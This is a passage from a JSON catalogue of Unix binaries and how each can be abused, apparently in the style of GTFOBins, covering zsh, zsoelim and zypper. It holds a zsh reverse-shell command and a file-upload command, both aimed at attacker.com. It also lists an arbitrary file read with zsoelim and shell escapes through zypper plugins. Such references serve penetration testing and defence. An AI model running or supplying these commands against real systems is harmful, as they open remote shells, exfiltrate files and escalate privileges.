zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'","contexts":{"sudo":null,"suid":null,"unprivileged":null},"listener":"tcp-server"}],"shell":[{"code":"zsh","contexts":{"sudo":null,"suid":null,"unprivileged":null}}],"upload":[{"binary":false,"code":"zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n \"$(</path/to/input-file)\" >&$REPLY'","contexts":{"sudo":null,"suid":null,"unprivileged":null},"receiver":"tcp-server"}]}},"zsoelim": {"functions":{"file-read":[{"binary":false,"code":"zsoelim /path/to/input-file","comment":"The content is actually parsed and corrupted by the command.","contexts":{"sudo":null,"suid":null,"unprivileged":null}}]}},"zypper": {"functions":{"shell":[{"code":"cp /bin/sh /usr/lib/zypper/commands/zypper-x\nzypper x","comment":"The copy usually requires elevated privileges.","contexts":{"sudo":null,"unprivileged":null}},{"code":"cp /bin/sh /path/to/temp-dir/zypper-x\nPATH=$PATH:/path/to/temp-dir/ zypper x","contexts":{"sudo":null,"unprivileged":null}}]}}}
}
